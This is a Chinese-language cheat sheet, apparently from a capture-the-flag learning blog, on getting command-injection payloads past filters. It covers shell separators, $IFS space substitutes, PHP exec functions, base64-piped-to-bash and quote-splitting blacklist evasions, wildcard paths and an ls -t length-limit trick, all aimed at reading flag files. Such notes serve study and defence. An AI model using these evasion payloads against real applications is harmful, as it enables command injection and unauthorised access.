命令執行繞過小技巧


管道符

windows 下

|直接執行后面的語句
||如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
&前面和后面命令都要執行,無論前面真假
&&如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令

Linux 下

;前面和后面命令都要執行,無論前面真假
|直接執行后面的語句
||如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
&前面和后面命令都要執行,無論前面真假
&&如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令


空格繞過

> < <> 重定向符
%09(需要php環境)
${IFS}
$IFS$9
{cat,flag.php} //用逗號實現了空格功能
%20
%09


命令執行函數

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec() 

黑名單繞過

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

base64編碼

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash (在bash被過濾的情況下可嘗試sh)

單引號、雙引號

c""at fl''ag

反斜線

c\at fl\ag

正則 (假設/bin/cat: test: 是一個目錄)

/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''

$1、$2等和$@

$# 是傳給腳本的參數個數
$0 是腳本本身的名字
$1 是傳遞給該shell腳本的第一個參數
$2 是傳遞給該shell腳本的第二個參數
$@ 是傳給腳本的所有參數的列表
$* 是以一個單字符串顯示所有向腳本傳遞的參數,與位置變量不同,參數可超過9個
$$ 是腳本運行的當前進程ID號
$? 是顯示最后命令的退出狀態,0表示沒有錯誤,其他表示有錯誤


cat被過濾

more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容
grep
1、在當前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,並打印出該字符串的行。此時,可以使用如下命令:
grep test *file
strings

做到的一道題目,在這里記錄一下


內斂執行

cat$IFS$9`ls`

cat$IFS$9$(ls)

(內聯,就是將``或$()內命令的輸出作為輸入執行)


利用ls -t和>以及換行符繞過長度限制執行命令(文件構造繞過)

root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #將 ls -t 內容寫入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指換行
ls -t將文件按時間排序輸出
sh命令可以從一個文件中讀取命令來執行

參考 命令執行漏洞利用及繞過方式總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM